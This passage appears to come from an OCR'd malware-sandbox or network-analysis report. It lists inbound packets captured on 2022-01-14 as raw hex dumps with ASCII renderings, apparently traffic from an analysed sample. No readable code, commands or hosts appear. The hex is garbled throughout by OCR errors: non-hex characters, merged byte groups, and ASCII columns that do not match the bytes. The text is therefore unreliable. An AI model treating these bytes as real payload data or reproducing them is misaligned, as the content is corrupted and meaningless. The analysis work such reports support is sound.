2022-01-14 03:59:52 UTC 6894 IN Data Raw: a0 46 ec d3 b9 e0 69 7b 16 ca da 6d ec Oe 57 0a 50 94 61 4f fa 71 81 28 48 a5 92 bf c7 2¢c 73 8e 3f 5d 29 51 0d
04 4f e8 38 69 11 52 02 a6 al 72 ef ac 44 c4 bf c4 65 7b ff ea cO 55 4c de 54 df c7 33 33 16 a6 33 6b 31 4a ee 59 31 40 eb
46 1d 6f 30 23 4b 2b ca 5 4e 35 ba 70 d2 b0 27 26 a2 66 7f 9b ac 95 cb e9 5f e5 28 92 2 44 69 d7 2d e9 83 51 €9 17 18
63999 67 35 58 a8 5e d3 a7 55 32 69 c7 c7 04 1b 3d fa b9 b5 1f f0 71 81 fa 90 80 f6 4c Ob 51 59 3e 68 e2 c2 b6 56 d3
69 54 b4 94 99 79 bf b9 a8 83 9c 4e 0f 51 da bb 5¢ fa 87 c9 ba 21 64 43 de d5 f5 77 f0 58 d7 35 e7 6d e9 e3 62 76 e8 28
le 7927 b2 a7 3f 21 12 2d d2 a8 el 4a 82 2b 1c 35 c0 53 a6 d7 fO d1 47 9e 46 8f 86 56 af 8d f9 20 cd b1 ba 58 8b 9b b5
29 eb de 7e ef 81 bf a6 23 e3 ca 49 06 ff e8 96 d7
Data Ascii: Fi{mWPaOq(H,s?])QO8iRrDe{ULT333k1JY1@Fo0#K+N5p'&f_(Di-Qcg5X U2i=qLQY>hViTyNQ\![dCwX5mbv(y
?1-J+5SGFV X)~#l
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6910 IN Data Raw: Of e0 d3 46 b5 9a 9b 99 d3 28 82 59 27 56 f5 81 66 06 b3 24 b3 84 90 5a e0 d7 52 ed 83 4a 90 11 8d d2 96 71
54 Oe c8 5f c3 54 53 a4 22 13 99 72 3¢ 51 44 00 d4 1c 24 66 a0 74 Oa d4 fc 88 7a fc 41 44 7a 3a df 74 e6 2d c4 c3 ec 88
00c2 40 06 62 9b 27 02 d9 7a 67 12 97 c5 cd f1 84 fc 90 3a 0d 8a 84 93 3f c2 53 26 fc 7f f1 28 5b 9e 43 2f Oe 77 4b 58 99
e4 7f 46 3c 28 57 chb a0 a6 a2 b1 9a 03 15 25 71 a4 77 88 31 18 fd 42 ec fb de aa 46 3d 98 ff 64 9f cb 07 7e 5¢ 7c c9 1a
04 b5 71 8b fO bb c5 28 5b 31 99 db e3 06 7c c3 ad 80 87 be e6 55 33 57 41 f2 ac b3 d1 c¢3 cb 6d 80 32 be cf f7 11 8d e8
4d bd cc e6 e6 d1 33 db 4e 1f bc Oe 60 12 74 86 cb 7e c9 d3 6 b0 cd 65 4d c6 af 77 d8 eb ce a9 09 a9 72 d5 08 61 ab 3a
8d 14 a4 89 41 fa f7 47 6d b7 e6 2d 2f 47 eb c6 30 55
Data Ascii: F(Y'VI$ZRJqT_TS"r<QD$ftzADz:t-@b'zg: ?S&([C/WKXF<(W%qw1BF=d~\|q([1|JUBWAmM2M3N t~eMwra:AGm-
/GOU

2022-01-14 03:59:52 UTC 6926 IN Data Raw: 4e f3 3f b6 2c €6 49 bf 38 08 ee 58 a2 25 04 73 6f 79 29 4a be 8e a3 e9 7f 7f 7f €8 58 55 d2 0a 66 d4 c8 b4 6d
59 a9 ef 26 97 8 63 72 6d 40 45 10 52 7c 2c 35 be ba 8b 0e 50 bd d6 57 2a 81 62 2d e4 d7 40 2b c1 87 60 8a 9b e2 7f 36
b0 ea 26 c1 77 be 45 d8 62 9b 6d 47 02 84 cf 64 f8 ac 25 da 9d df 12 3a aa 6f 08 8a 79 10 3b 3f 4d 4f 75 69 54 88 a8 ba
309d e7 87 ce 52 b9 87 22 8d 9a c4 1d a0 91 cb 18 2c 34 94 el fe 35 e0 47 8¢ 8 fc cb 85 d7 8e 22 42 0d 8b d2 b3 c6 6e
85 8 7e 45 4d 5a ad 76 41 70 99 e4 17 35 97 la cc bl b7 62 5e 75 45 e6 43 52 84 67 3f da e3 70 68 0d c1 96 b4 d7 3a
91 3d e7 b8 16 7d a8 43 c4 ec 91 1d c2 96 9f 29 46 ab bf eb 8c a0 35 53 f3 5e 8¢ 53 a8 01 a9 e0 63 7a 41 {7 90 40 54 47
b1 f8 8d 67 5f 67 4d f8 aa Oa bb 10 1f 9a al b1 9c 3f 49
Data Ascii: N?,18X%so0y)JXUfmY&crm@ER|,5PW*b-@+ 6&WEbmGd%:oy; ?MOUuITOR",45G"Bn~EMZvAp5b"uECRg?
ph:=}C)F55"SczA@TGg_gM?I

2022-01-14 03:59:52 UTC 6942 IN Data Raw: 82 d1 11 50 5c 2d el f0 48 eb 31 48 8f 35 3¢ 97 03 71 60 20 79 8e 88 13 80 84 21 c1 18 5e 61 6f 93 9¢c 39 02
ba 35 82 4c bb ed 57 59 7d 87 83 eb Oc d4 84 ab ff 77 7b e1 00 8d d9 58 e8 c3 65 22 ef 47 c7 dc 43 1f 7b 4d 08 ec d4 6d
c7 d9 2d 8e ca 22 47 a4 6b fO 5¢ 3b 04 02 27 €8 14 13 ¢5 84 06 c9 dO 7f 5b 1d 35 56 7 ac 88 38 44 98 3c 9c 6f 25 13 c3
1d 1d 7b 8f ce ea 75 bf 57 43 93 a5 53 df 53 72 f9 Oc 7f 1a c7 2d fc 6a 04 82 74 4c 76 64 c6 8e 13 69 7f fb 43 04 b1 25 3f
41 1f 70 7b f1 38 cd 8a ba f9 de e2 €3 1a 02 96 0d 7b Ob 94 11 29 75 3b c0 c6 4a 1c b6 16 3a 09 00 Ob 3c 05 f1 b8 d6 cb
59 f5 aa 23 7f 24 03 c5 ba 39 4e 28 dd 16 d9 a8 47 7f c2 61 82 dd bd 08 52 ca a7 9d e4 49 7b ca Ob 73 69 €9 1d 57 96 5d
ec ba f4 13 fd 86 8d d2 d2 b8 07 36 €9 ae f1 9e 0f 9b
Data Ascii: P\-H1H5<q" y!"a095LWY}w{Xe"GC{Mm-"GKk\;'[5V8D<0%{uWCSSr-jtLvdiC%?Ap{8{)u;J:<Y#$IN(GaRI{siW]6

2022-01-14 03:59:52 UTC 6958 IN Data Raw: 41 76 ba 5f 80 31 5b 5d 66 6d 3a a4 b9 e8 51 bf f9 a9 7b ce 67 98 33 64 38 d8 1a 3d d7 eb 55 90 3e 09 af 68
5298 62 17 al a4 61 8d 28 2a 34 a3 f3 33 Oc 7c 6a 90 d1 ed al 1d 3d f2 43 12 8e 14 3a 19 9a el 0d 5a 5c ac 8d 89 52 8e
3720 e7 54 7f 76 1f Oe 71 25 96 6f 6¢ 95 90 30 Ob 04 57 1b 2f bf c4 73 b3 7f 2b 87 3c 46 fa 84 63 80 13 13 a6 64 34 df aa
7b el 3519 2c 72 a2 8f dO el a8 a8 a5 df 22 b3 ca 59 ¢8 99 b4 49 a6 09 b2 be f6 81 0d 49 7c c1 26 49 6f 9e 1e 00 9e 95
70 el 1a 5a 82 cd 43 be 22 90 4b 83 4f 92 e5 el 83 el 8e 8e bl ef ab 4a f5 8d 3e 7b b8 €8 d7 Oc a5 cb 59 ba 5a 04 05 19
el ec 319c 2b 23 2d 9c 1a 67 3c d2 ec 21 d6 3b 8e da 29 al 9a e7 c5 3c 4a f6 31 01 c1 2d ae 4f 47 a6 15 2a 3c €9 61 53
56 30 81 a9 be 9a 69 97 6¢ fO 70 04 06 eb 88 61 43 be
Data Ascii: Av_1[]fm:Q{g3d8=U>hZba(*43|j=C:Z\R7 Tvq%ol0W/s+<Fcd4{5,r"Y1l|&lopZC"KOJ>{YZ1+#-g<!;)<J1-OG*
<aSVo0ilpaC

2022-01-14 03:59:52 UTC 6974 IN Data Raw: d1 8b 07 a3 58 2c 12 0d 44 ea 1c fe 60 a6 2b 90 b1 7c 54 a3 c0 27 67 7d f7 d8 91 ae 2c 74 8f 58 59 ed b4 e6
dc 97 cd 26 cb 59 87 cb 64 b0 b2 32 3f 50 66 db 70 35 78 90 b8 bf ca db 50 ¢3 46 61 39 fe 27 b9 28 b1 35 69 c1 d8 15 9d
5a 46 ff 04 83 8a c7 6a 8a 80 9c 09 60 5e Oe Ob 1c d9 a4 f2 5b 4e 16 88 5a a6 32 e4 10 bb 7f fb fd 16 d1 c0 cc c7 1b eb 12
ea7bd3ac 71 0a17 758 44 ab 97 ca a2 c8 74 50 5d b0 5d 71 2f cb 51 4c a6 ce 36 ca 39 f7 7c 2d d0 3d 58 d1 45 73 2¢
5a 3f 35 2b ca 7b 6f €9 52 36 cb 98 ae 3a 2d 68 dd a0 ff fe bc a2 bf 9a 79 6b 6¢ 48 d7 el c9 c2 89 32 70 29 8f 86 2b ca f4
88 d8 20 ff 43 b5 1b b9 4b 69 8e b5 ff 5e 37 0b c9 f8 81 24 02 72 4b 95 1a 33 dc cc 82 eb 01 b0 Oe 05 4c cc 73 ¢7 57 ea
53 71 27 Oc 5a c¢7 b4 6¢ d0 58 c6 be 61 27 f9 1e 38
Data Ascii: X,D"+|T'g},tXY&Yd2?Pfp5xPFa9'(5iZFj "[NZ2{quDtP]]a/QL69|-=XEs,Z?5+{0R6:-hykIH2p)+ CKi*7$rK3LsWSq'Z
IXa'8

2022-01-14 03:59:52 UTC 6990 IN Data Raw: 75 23 8a 8d ff 6¢ 8b 30 f8 9e 50 45 8e cd 5e 81 32 14 bb 56 94 7e 80 58 a0 f2 4d 47 32 d5 3a bb c9 02 ce 7b 38
d5 b3 9c 30 ad fa 10 0d dd b7 48 82 97 97 f1 ef 75 4b b0 70 ab 07 b1 90 09 b8 37 ce 18 4f cf c9 a3 98 fa 1c 24 d4 af d7 e9
b6 5d be 32 89 33 cd 91 40 95 95 a7 ab 2a 77 2c 03 0d 83 aa 4b 80 03 50 66 02 a8 07 ea 94 6b 2b ea 8b 4c 18 2a 6a 54
al 64 ¢335d8 3d 57 9d Oe b4 51 95 9f 3e 1f d9 18 f1 fb e4 aa 7d dc cd 5¢ 34 dO 21 92 44 ae 17 9e 42 fc 38 dd f8 62 59 1b
f1 de 5d a0 f9 €9 00 70 81 1e 1f ef 02 97 fa c1 ac 3a fb ff 49 b0 eb 2c eb f6 80 19 ed dd d9 el 5e d0 6f 8e 9a 81 b2 57 Of dé
a4 9c¢ b0 dO ed 15 dc f7 9b da d0 51 d4 8e 1b cf 65 10 fd eb cf 55 c4 d7 2e 71 09 bd 13 8a b7 d4 cf 4c b7 67 b4 e8 ae a2
b3 11 5f 86 4a 1c 98 f1 90 5e 37 43 f5 f5 55
Data Ascii: U#IOPE"2V~XMG2:{80HUKp70$]23@*w,KPfk+L*Td5=WQ>)\4!DB8bY]p:l,"oWQeU.qLg_J"7CU

2022-01-14 03:59:52 UTC 7006 IN Data Raw: 6e 23 4d 7d 07 45 64 83 4b b4 63 06 Of 77 24 f1 11 77 66 6f 74 ff d8 €3 91 78 01 8a 3f 96 f2 81 8b ff b4 a6 9a
9c 2c af d7 0a b7 74 15 d7 c3 5e 61 1c 9e e4 22 da 88 35 56 03 61 90 a5 de f5 61 20 7f 62 eb 71 cc b2 df 46 c6 05 5c 88
64 05 fb 2a ba 43 2f 8f 9c 28 aa a2 7c a7 62 3d f7 94 c4 da 3e f5 06 30 ef 28 16 72 08 12 a0 42 c1 ¢7 5d 1d f1 06 7a 07 be
3e 69 9d e9 25 46 64 5c e7 0f 42 al bb el 6f b2 5b d7 a8 9b 7d 6b 08 90 ca 40 d5 d6 58 56 9a a6 6e 88 31 cd b3 b7 e9 2¢c
€6 82 b4 dd ac c7 9e 81 33 14 8¢ 00 b3 92 c5 c3 93 ff 27 d6 5a f4 Oe 38 ac c5 32 f3 ¢8 95 a5 5e 3f 40 Oc 60 f5 6d a4 33 68
2136 d4 9a 15 f3 03 72 70 47 87 4d 85 ac 71 6f 78 1a 34 3d 51 3 b3 c6 8a a0 dc 6f €8 23 b2 c8 f9 69 5b 33 7 67 82 d9
88 48 7a 6f 7e b5 c6 a5 96 fe 03 43 eb 73 dc ca
Data Ascii: n#M}EdKcw$wfotx?,t*a"5Vaa bgF\d*C/(|b=>0(rB]z>i%Fd\Bo[}k@XVn1,3'Z82"?@ m3h!6rpGMgox4=Qo#
i[3gHzo~Cs

2022-01-14 03:59:52 UTC 7022 IN Data Raw: d1 ec 14 cb f1 92 8d 61 Oe 2f f5 ca 5a 63 a5 ba 28 b5 ae bl 48 b7 24 1b ¢3 76 d6 11 65 bc bb 5d 32 49 bb ba
ba 74 ad 67 91 cc 3c ae 4b 25 0f 29 9d 39 12 75 de ec f3 02 eb 71 07 b6 bb 44 8e 4b Oc 48 c8 50 1d ae cf 70 9b f9 30 3a
a9 f6 e3 53 75 3f 22 29 12 b4 3b 38 a8 0d dd 40 28 54 9b 7a 23 db 1b bf fc da 69 a9 dc 75 09 f9 43 9e 91 a9 b1 1f e3 2f a9
4 21 5¢ 3d f3 b6 7 d8 3f df 68 al da 3c c1 c0 08 9e 99 ed fa a0 73 ¢3 94 96 f3 d1 Ob 86 d5 5a 25 4e e6 98 32 1c Ob a3 04
d0 93 f3 6¢ 37 9c Of 5¢ 9c 48 25 2¢ 74 03 71 02 92 1b 37 36 a0 ba 90 09 75 1f 20 5d 90 1a Oc 42 90 94 3c ea ea 02 5e d4
8d d6 7c 85 91 dd Oc d9 45 e5 a3 fa 98 €3 75 16 8e 7f 5 0d 70 6e 48 a4 31 e0 60 ea cb d2 dc fa 39 30 23 27 eb 01 f9 68
el b0 18 95 8b ee 8c e7 bc bl ec ae 3f 4e 80 30 3¢
Data Ascii: a/Zc(H$ve]21tg<K%)9uqDKHPp0:Su?");8@(Tz#iuC/N\=?h<sZ%N2I7\H%,tq76u |B<"|EupnH1 90#'h?N0<

2022-01-14 03:59:52 UTC 7038 IN Data Raw: 21 9e cd 9b a0 28 4b 17 c4 c6 c8 ee df c4 1d f2 22 9f d5 3c 8a be ea 08 c3 49 98 4b 7f ef 5d cf 7d 3e b0 01 82
5e 10 ce 55 10 6e 64 09 ef a7 02 74 b7 d5 1a 36 b3 41 aa f3 0d 31 fe fc ee cf c1 b6 af b9 91 8e 3e 26 41 59 76 3d b7 4a
9e db 5d c2 f5 93 bc aa 9f 83 44 ac Oa c5 al 25 2a 46 37 8d d6 b6 3f be 05 3d 55 35 c0 67 20 41 ea 90 10 ba f2 bb 44 79
fe 1b 9a 4a ef 3f 05 1c €8 70 9b 49 a4 4c 83 4c 85 45 36 f9 28 57 8¢ 11 a0 23 c6 83 54 f5 2d 80 9f 22 d5 ca 22 51 a2 eb db
fb 58 2b 7f 63 Oc 4c 50 af 92 9e 31 e6 2c da d9 f1 af e0 35 a8 3d 44 0d 8¢ 76 66 6d ca 90 24 45 7 35 b2 a3 ac 0f a7 3e 92
38 2d df 78 ca a0 75 27 78 a0 f6 33 7d b3 c5 bc 98 2e 51 48 9b 07 60 56 5e c7 f1 9b ec 61 a3 5c¢ cc f0 b7 87 d8 28 e4 41
1la 45 f3 da cO e4 8a ee 94 80 94 7e e9 a3 14 bd
Data Ascii: !(K"<IK]}>*Undt6A1>&AYv=J]D%*F7?=U5g ADyJ?pILLE6(W#T-""QX+cLP1,5=Dvim$E5>8-xu'x3}.QH V a\(AE~
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 7054 IN Data Raw: ce 6f cb 6a a5 d5 f4 87 69 e3 2e 57 6f 59 9a 08 39 71 20 ac 40 24 e7 5e c4 92 89 8 dc 73 ed b5 9c 52 f9 3f 7d
f9 09 67 9e 37 89 53 el 07 dc 77 be d8 07 bd 27 64 61 7b be 22 {2 f2 43 2e c4 22 94 7 9e 1d c8 0Ob 8f 09 a7 9d Oe c4 33
51 4f 30 13 b1 8d 16 14 47 52 16 ed 5d 6¢ ea 17 79 49 96 56 f6 9c 32 c7 €9 83 b4 65 94 18 11 7b 23 7f 2d 99 76 cb 34 1a
bc c1 74 cd b6 ea a6 9f 70 6f 14 2b 8a 39 7d 11 1f cf 6e 20 a9 ed 61 c6 14 5c dd 86 f4 55 cc 68 b3 52 18 00 fb f2 e7 26 ab
97 0c 29 ca 7a 82 ca 2c 00 d6 c3 18 c2 7e 61 f8 85 9a 42 d5 27 98 2c 55 7e 41 45 ee 4c 93 7a 71 ae bb 06 c9 4b b4 1c 4a
5a 14 3a 08 98 fc ea Oc c1 6d d5 5f 52 71 44 c5 fa 92 84 4a 07 57 ce 21 ba 04 82 7d 52 ad 53 80 20 e9 22 a6 4d 8a 67 45
11 46 d3 66 6¢ ca c2 ca 5¢ b2 6¢ Ob Oe 55 e8 6d ba
Data Ascii: 0ji.WoY9q @$"sR?}g7Sw'da{"C."3QO0GR]lyIV2e{#-v4tpo+9}in a\UhR&)z,~aB',U~AELzqKJZ:m_RgDJW!}RS
"MgEFf\lUm

2022-01-14 03:59:52 UTC 7070 IN Data Raw: 86 8f bb 4d 1c 82 4d 5d 6 cb 85 1c ec ae 8e 17 a5 fc ee 28 29 3b 22 e4 66 b3 c9 87 42 7a 9a 3c 1c e0 8d 4b 86
ac c1d9 7b 65 30 10 a5 a0 a6 f8 be 0d 37 17 43 7e db 9a 6a 6a a2 36 b3 51 ab 74 d7 c7 2e 28 28 df 02 33 46 5b d8 43 d6
b9 58 6e 00 8a fd a9 50 7b €9 16 d3 21 3d 33 6e 84 74 5 04 df 5e f6 el 43 26 56 6¢ a3 6¢ f2 e7 25 €9 95 c8 4f 36 el 80
18 57 02 9f Of e7 e4 e7 d2 9c a6 6f f1 ac 09 cO d2 23 a9 87 ba 85 5d ea c9 5b 5a 76 f9 8e af e5 1b ee 08 f9 7d e3 b3 7e a7
9a 17 09 04 d5 53 cf 22 24 16 87 2d ea a4 e7 19 50 25 d4 69 22 f2 d3 62 5d b7 a4 0f e8 70 35 33 a9 1a fc 00 0d b1 1d d9
8a 10 5e 25 53 1f b0 f2 2b 1b 76 17 f2 6e 9b 64 77 f3 10 1e b9 ec 95 dc 90 b1 ae fa cc d1 52 3b de 44 de 38 c1 Oc 16 4e
5b 45 94 37 e5 42 c6 e8 9d be b3 f5 77 89 de 67 7b
Data Ascii: MM]();"fBz<K{e07C~jj6Qt.((3F[CXnP{!=3nt"C&VII%06Wo#|[Zv}~S"$-P%i"b]p53"%S+vndwR;DSN[E7Bwg{

2022-01-14 03:59:52 UTC 7086 IN Data Raw: 44 e7 67 el 01 fa 7 al f5 88 40 b4 53 86 6¢ 7f 27 a2 75 eb 4c 58 aa 99 64 2d el 99 ad 18 da 8a a5 a2 58 4c
98 06 dd 5a 6e b8 8c 11 aa 77 56 24 4f b2 88 27 b4 b8 9c dd d8 10 f5 d2 b7 85 26 82 73 4b 47 44 9c ae 48 a8 22 cb 38 05
d2 94 f0 54 22 9e b1 ef 81 1d 09 ba 70 4c d0 a5 4c 19 a3 19 92 25 c8 dc 2c c0 4b 59 a4 44 4b 5¢ d0 07 1c 85 97 de a2 33
d1 9a 0b 7d fd 50 8¢ 0a 53 c6 8 36 f5 4a 87 ba ab 1a 7f 34 8b 3f ec 17 c6 45 a7 da 52 23 4d 7b d1 f0 e7 01 1e 32 26 1la
133e e9 d3 cl aab7 fd 67 6b 02 19 77 el 44 7b 59 3e e2 a5 57 e3 c1 60 31 26 2e a3 6f 11 5e 5c 1f 7d 3c 3d 7c 5d 7c 46
6f a3 al 0d 6a 75 12 f5 7a ¢7 ¢9 80 71 db 1d d4 f5 24 e9 24 e8 52 f4 38 5d e7 03 8¢ 65 9a 72 7e 31 e2 01 ec 2a 29 d3 88
18 cf 80 08 3b bd ef 9a bd 8d 35 05 c1 64 c2 37 05 c6 94
Data Ascii: Dg@SI'uLXd-XLZnwV$0'&sKGDH"8T"pLL%,KYDK\3}PS6J4?ER#M{2&>gkwD{Y>W"1&.0"N}<=|]|Fojuzq$$R8]
er~1*);5d7

2022-01-14 03:59:52 UTC 7102 IN Data Raw: 76 90 af 25 ac fe 6f 04 ff b4 3e Oc 64 39 90 c6 1c e7 f3 a9 24 58 43 87 4a 58 ce 33 ba 75 6b Oe 19 e6 09 80 08
58 ee e7 c9 94 4b a5 c5 89 71 a2 ab 4a 6d 88 95 4e b5 9f 83 dd 76 dc 7e 76 95 3f Oa 4b 80 d8 46 Oe 15 71 e2 45 12 1d 05
69 d7 66 Oa df a8 5a 2e 4e 30 2a 9c 30 2d b5 c2 d7 9e 70 b5 50 70 26 b6 5¢c f4 68 3b b9 55 c0 42 06 95 ba 76 18 ee 3b 3f
0 8a be 3e 65 dO 1d b4 62 86 d1 f8 84 25 b4 5c 8f 8b a7 22 bb 5d 06 41 b2 bl 42 4a 33 e7 02 dc 22 96 2c 20 ed ef 67 e0
fa 0a Oc 61 68 cO 8b 00 9f a3 9f 3d be 88 75 a4 8e cb bc b4 23 7e c8 eb db 27 8d bf 51 6f 11 ed bb el 73 b5 c0 9f 71 a4 87
1c da6a 7b 37 f8 bd 06 d9 10 f3 85 6¢ d9 96 15 85 b2 3 30 bf 14 da 85 41 40 37 2d 8f 99 40 62 5d 05 54 da cf e3 55 71
d8 b6 41 57 f2 3d 9a 91 61 f0 3c bf 73 b1 70 dO cO
Data Ascii: v%0>d9$XCJIX3ukXKgJmNv~v?KFqEifZ.N0*0-pPp&\h;UBV;?>eb%\"|ABJ3", gah=u#~'Qosqj{7I0A@7-@b]T
UgAW=a<sp

2022-01-14 03:59:52 UTC 7118 IN Data Raw: d5 76 87 9a 44 01 1c 5b c¢3 30 db 1a ae 5e eb 09 cd 70 2e 90 5d ff 13 ad 2c 06 74 d6 54 92 71 52 1c d8 36 08
b6 al bf 6d c6 24 a5 0f 67 99 60 37 32 08 6b 4c 55 53 ca c4 91 d1 0d b5 17 75 66 bd ca bc ad 8f fa 06 fO 8c 2e 66 a4 00
50 d1 79 97 03 06 bb a8 4e 38 a0 40 5e 2f ¢7 b5 5f 50 92 cc eb ae 3c 7 10 fa 6d b8 7d 17 4b 42 6f 37 b1 21 25 Ob a8 f2
3b1le 8b a0 98 79 9d a6 52 d0 76 00 e8 d7 eb 31 Oe d1 2c 34 c5 49 ef b2 0f 8d b5 76 2f df c3 b0 12 ba a2 fb 44 ac e7 59
99 0b ¢6 1c bd 7a 65 8a 4f 2 68 2b ¢7 9d 3b ¢3 53 cb d6 e4 8c 67 13 e6 f2 91 97 b7 66 11 63 8a db 2b ¢3 78 80 0a 60 cd
57 18 94 ¢5 9f 26 3 0 26 d3 58 09 1f 3e ac 86 e2 4f c5 e8 d1 8a 79 90 f4 be f5 3¢ 87 ¢7 c0 b3 23 62 62 Oc 2¢ 7b d2 0d d0O
44 d4 ee 3d c0 60 0d 6¢ 74 19 dc de 8b 2a 8c 1d 09 37
Data Ascii: vD[0”p.],tTqR6mM$g" 72kLUSUf.fPyN8@"/_P<m}KB07!%;yRv1,4Iv/DYzeOh+;Sgfc+x W&&X>Oy<#bb {D="It*7

2022-01-14 03:59:52 UTC 7134 IN Data Raw: 30 4b 8c 42 68 36 36 31 4d 4d 30 50 77 73 6d 32 66 37 df 30 31 49 4a 62 71 56 a3 5a 31 70 3c 32 71 46 54 00
69 61 78 6f 77 54 7d 70 7a 64 9a 6f 4f 36 99 6e 71 5a 52 50 66 6b 49 75 72 61 43 70 4c 61 65 6b 35 30 69 31 33 4f 65 63
71427476 49 44 76 72 6a 66 2b 7b 4a 41 08 37 35 31 4f 4d 70 41 04 46 6f 32 6¢ 3d 76 2f 3b c4 4c 61 71 57 62 89 34 71
3236 59 7f 54 00 63 12 40 6f 77 5e 64 4b 7a 64 5e 67 48 1e 5a 6d 71 50 75 57 60 66 94 5e 73 61 43 72 64 66 63 6b 33 3¢
6b 46 dd 4f 6e 61 62 46 66 72 55 c9 4b 72 6a 66 15 9b 9a 41 68 32 1d 08 4d 4d 7a 23 4d 72 6f 38 09 c6 74 30 37 6f 65 72
74 6e 9b 59 31 70 41 40 70 46 52 13 6f 70 7c 7e 73 45 49 66 15 97 54 6¢ 49 59 5b 6d 71 50 37 3d 67 6b 4f 64 74 70 47
61 49 78 Oc 98 35 30 6a 5a Oe 4f 6e 6d 1e 2d 76 76 4f 55 72
Data Ascii: 0KBh661MMOPwsm2f70113bqVZ1p<2qFTiaxowT}pzdoO6ngZRPfkluraCplLaek50i130ecqBtvIDvrjf+{JA7510
MpAFo02l=v/;LaqWb4q26 Y Tc@ow dKzd"gHZmqPuW"fAsaCrdfck3<kFOnabFfrUKrfAn2MMz#Mro8t07oertnY 1pA
@pFRop|~sEIfTIIY[mgP7=gkOdtpGalx50jZOnm-vvOUr

2022-01-14 03:59:52 UTC 7150 IN Data Raw: 7a 62 7e 6¢ 4f 36 27 11 71 5a 5a 50 66 6b db 74 72 61 ef 70 4c 61 5d 69 35 30 60 35 33 4f 6e 67 71 42 77 76
49 44 c7 72 6a 67 a9 4a 4e 41 24 34 35 31 4e 4d 70 50 75 72 6f 33 64 37 74 30 97 49 73 61 c6 57 47 59 6¢ 72 32 32 7f 46
54 00 69 61 7a 6f 75 54 4c 70 46 64 54 6¢ 73 34 66 6d 09 58 58 50 6¢ 6b 49 75 72 61 43 70 4c 61 63 6b 33 30 6¢ 35 4d 4d
6e 67 f5 40 77 76 4a 44 74 72 68 67 30 4a 55 71 6f 36 8e 31 4d 4d 5f 50 77 63 70 3d eb 08 74 30 30 6¢ a3 6e 70 56 43 71
08 70 32 38 02 7c 54 00 63 6b 7e 00 55 54 4c 7a 71 1a 49 6¢ 4f 3c 6a 6a 1e 31 58 50 6¢ 70 c4 4a 72 61 42 55 9c 88 63 6b
311855353345 1d 5d 71 42 7d 5e 76 44 74 78 46 49 37 24 6d 41 68 3c 22 bc 71 4d 70 51 52 64 74 bf 59 37 74 31 14
99 9a 61 71 52 6f 60 31 70 38 41 4b 46 54 Oa cb 76 15 21 77
Data Ascii: zb~106'qZZPfktrapLa]i50°530ngqBwvIDrjgJNA$451NMpPuro3d7t0lsaWGYIr22F TiazouTLpFdTIs4fmXXP
IkluraCpLack30I5MMng @wvJDtrhg0JUqo61MM_Pwcp=t00InpVCqp28|Tck~UTLzqllO<jj1XPlpJraBUck1US53E]qB} vDtxFI
7$mAh<"qMpQRdtY7tlagRo 1p8AKFTvIwW

2022-01-14 03:59:52 UTC 7166 IN Data Raw: 4e 41 92 15 35 31 68 4d 7d 50 26 72 ee 33 76 37 4e 02 31 49 7a 61 7c 56 12 59 b0 71 22 32 ¢3 7b 54 00 60 61
77 6f 2e 54 4d 70 6a 64 9e 5c 4f 36 6f 6d 7c 5a 05 50 €7 6a 59 75 28 4a 43 70 45 61 6d 6b 4d 30 6f 14 23 4f 9c 7e 71 42
7e 76 47 44 0e 72 eb 66 30 4b 1d 7b 68 36 3c 31 5d 4d 0d 50 76 72 7f 32 50 06 74 30 49 49 66 61 0f 56 44 58 21 70 ac 33
7146 5d 00 7c 61 e2 6f f4 55 5¢ 70 2a 75 54 6¢ 46 36 70 6d ea 5a 59 50 76 6b 6e 44 72 61 3b 70 54 61 f8 6b 36 31 7c 35
ad 4e 6e 67 78 42 6f 76 fc 44 f7 73 7a 67 60 5a 4e 41 61 36 2c 31 f5 4d 71 51 77 72 c5 08 66 37 51 30 2a 49 cb 61 f0 56
5759 f3 52 32 32 78 46 4f 00 d5 61 fb 6e 67 54 60 31 7a 64 5d 6¢ 52 36 a4 6d fO 5b 48 50 20 5b 49 75 7b 61 5e 70 8f 61
€2 6a 25 30 92 12 33 4f 67 67 6¢ 42 b3 76 c8 45 64 72 da
Data Ascii: NA51hM}P&r3v7N1lza|VYq"2{T awo.TMpjd\O60om|ZPjYu(JCpEamkM0o#0O~qB~vGDrfOK{h6<1]MPvr2PtOIIf
aVDX!p3gF]|laoU\p*uTIF6pmZYPvknDra;pTak61|5NngxBovDszg ZNAa6, IMgqQwrf7Q0*laVWYR22xFOangT 1zd]IR6m[HP
[lu{a”paj%030ggIBVEdr

2022-01-14 03:59:52 UTC 7182 IN Data Raw: 5a 4f d9 2f 87 6¢ d1 68 82 56 87 6a 9a 5b c9 78 c2 72 62 49 b8 72 b4 32 5f 2a 7a 5¢ 8f 66 Ob 60 9a 6f a8 45 2c
55 9c 7e d1 4a Ob 69 96 2f d4 30 97 70 73 4a 96 73 37 15 6f 2d 95 31 74 61 71 64 48 54 62 71 05 6a 93 30 94 4c 04 1a 78
63 45 48 2a 4e 75 74 0a 57 38 76 76 32 7e 4b f9 5d 61 54 2f 54 c1 72 33 65 9d 4d 3e 7b 22 6f af Ob 17 2f 7a 4b 1e 54 7b
42 3e 7273 64 18 68 53 63 40 78 44 41 51 32 53 70 a0 49 49 54 f1 52 82 36 2f 33 e5 29 28 5d 5a 63 c0 60 cc 43 70 74 ec
0f e3 5¢ 05 04 97 4b e3 75 26 50 5f 5b e5 7e 05 68 ee 1f cO 77 b8 5a 28 63 b6 6a 28 71 e7 40 e8 6a 1d 65 aa 42 82 2a 88
3543 7c 64 67 fd 43 15 45 f3 40 e0 73 2f 5a 97 4f aa 41 cf 2c ff 20 24 49 00 63 81 68 ee 30 al 10 70 2b 40 4d 03 52 7a 4d
36 5d e2 57 27 29 e8 42 4c 1d b3 67 93 6f 07 67 46
Data Ascii: ZO/IhVj[xrblr2_*z\f oE,U~Ji/lOpsJs70-1taqdHThgjOLXCEH*NutW8vv2~K]aT/Tr3eM>{"0/zKT{B>rsdhS
c@xDAQ2SplITR6/3)(]Zc Cpt\Ku&P_[~hwZ(cj(q@jeB*5C|dgCE@s/ZOA, $IchOp+@MRzM6]W')BLgogF
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 7198 IN Data Raw: 68 50 5c 5d 28 23 11 3d 12 72 2b 53 12 52 20 59 5¢ 2c 73 06 14 22 18 1a 43 15 53 46 18 29 3a 54 00 Oc 1f 6f
36 24 3¢ 15 14 00 18 05 21 53 66 0a 14 2e 07 1e 03 1c 05 1c 1c 04 43 33 23 Oc 01 02 5b 55 6¢ 79 5c 2¢ 0f Ob 3¢ 23 14 e
